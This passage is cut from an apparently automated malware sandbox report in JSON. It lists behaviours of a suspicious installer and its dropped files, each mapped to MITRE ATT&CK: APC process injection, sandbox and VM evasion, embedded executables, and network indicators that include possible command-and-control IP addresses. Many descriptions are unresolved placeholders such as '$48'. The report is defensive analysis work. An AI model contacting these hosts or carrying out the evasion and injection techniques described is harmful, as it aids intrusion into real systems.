\"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76EE0000\n \"april.tmp\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76EE0000\n \"flashdecompiler32.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76EE0000\n \"EasyApp.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76EE0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1.CreateObject\" ... \n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1.ConnectServer\" with result: \"IDispatch\" ...\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\").ExecQuery\" with result: \"IDispatch\" ...\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\").Count\" with result: \"1\" ...\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\")._NewEnum\" with result: \"IDispatch\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$48","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3, Indicator: \"select * from win32_computersystem\")\n \"SELECT * FROM Win32_OperatingSystem\" (Source: 63370-982-0006CE64, Indicator: \"select * from win32_operatingsystem\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$49","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"EasyAppns.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$4a","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$4b","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$4c","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x739e00\" greater than 0x100000\n Raw size of \".rdata\" is \"0x401800\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x739dc4\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x4016c4\" greater than 0x100000\n Virtual size of \".data\" is \"0x103fc0\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x4097a8\" greater than 0x100000\n Virtual size of \".data\" is \"0x103d84\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"is-85VUO.tmp\" has high imagebase \"0x6d740000\"\n \"is-IRLGV.tmp\" has high imagebase \"0x6eb40000\"\n \"is-UM722.tmp\" has high imagebase \"0x628c0000\"\n \"is-AB0VE.tmp\" has high imagebase \"0x64b40000\"\n \"is-D54J2.tmp\" has high imagebase \"0x70a80000\"\n \"_setup64.tmp\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"InstallSetup_four.exe\" (UID: 00000000-00008076) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"InstallSetup_four.exe\" (UID: 00000000-00008076) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"EasyApp.exe\" (UID: 00000000-00004644) was launched with new environment variables: \"sfxcmd=\"\"%TEMP%\\EasyAppns.exe\"\", sfxname=\"%TEMP%\\EasyAppns.exe\", sfxstime=\"2025-07-26-10-07-45-897\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"EasyAppns.exe\" searching for class \"EDIT\"\n \"april.tmp\" searching for window \"H71221_Flash3211FixClass_H71221\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$50","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 2670143)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"$51","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"$52","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","description":"$53","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to access the loader directly (API string)","description":"Found reference to API \"LdrGetDllHandle\" (Indicator: \"LdrGetDllHandle\"; File: \"00000000-00004496.00000000.172807.0054A000.00000040.mdmp\")\n Found reference to API \"LdrGetDllHandle\" (Indicator: \"LdrGetDllHandle\"; Source: \"00000000-00004496.00000000.172807.0054A000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1129","relevance":1,"id":"string-548","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"288c47bbc1871b439df19ff4df68f076.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"EasyAppns.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$55","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"$56","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$57","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$58","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$59","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" queries basic process information of the \"C:\\fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" (UID: 5760)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"EasyApp.exe\" called \"NtQueueApcThread\" (UID: 00000000-00004644)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$5b","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: The input sample contains the RDTSCP instruction\n Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Contains ability to detect sandbox (imports API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$5c","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"EasyAppns.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"EasyAppns.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"april.tmp\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"april.tmp\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$5e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$5f","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe.log\"\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe.log\"\n \"april.tmp\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Senior Flash Decompiler\\unins000.dat\"\n \"april.tmp\" writes a file \"%LOCALAPPDATA%\\Senior Flash Decompiler\\unins000.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$60","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"EasyApp.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"3280d88\"\n \"lpReserved\": \"0\"}\n \"EasyApp.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"32809e8\"\n \"lpReserved\": \"0\"}\n \"EasyApp.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"32a4bb8\"\n \"lpReserved\": \"0\"}\n \"EasyApp.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"3282f58\"\n \"lpReserved\": \"0\"}\n \"EasyApp.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"32a5548\"\n \"lpReserved\": \"0\"}\n \"EasyApp.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"32a4d10\"\n \"lpReserved\": \"0\"}\n \"EasyApp.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"327fa30\"\n \"lpReserved\": \"0\"}\n \"EasyApp.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"32a56e0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"CreateNamedPipe\" (Indicator: \"CreateNamedPipe\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")\n Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; Source: \"00000000-00001560.00000000.171932.056A4000.00000004.mdmp\")\n Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"WNetEnumResourceA\" (Indicator: \"NetEnumResource\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide information and utilities for managing network resources (API string)","description":"Found reference to API \"WNetGetUniversalNameA\" (Indicator: \"WNetGetUniversalName\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-113","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"WinHttpCreateUrl\" (Indicator: \"WinHttpCreateUrl\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"WinHttpCreateUrl\" (Indicator: \"WinHttpCreateUrl\"; Source: \"00000000-00001560.00000000.171932.056A4000.00000004.mdmp\")\n Found reference to API \"WinHttpCreateUrl\" (Indicator: \"WinHttpCreateUrl\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.0.0\"\n \"185.172.128.90\"\n \"185.172.128.187\"\n \"192.168.0.2\"\n \"33.9.89.5\"\n \"95.73.76.45\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$62","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$63","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking-related APIs","description":"$64","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"EasyAppns.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"april.tmp\"\n YARA signature for embedded PE executable in .rsrc section matched on file \"is-KQJQP.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":5,"id":"yara-26","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"$65","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-104","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"april.tmp\"\n YARA signature matched on embedded PE in file \"is-KQJQP.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"00000000-00007680.00000000.171970.00401000.00000020.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"00000000-00007680.00000000.171970.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence 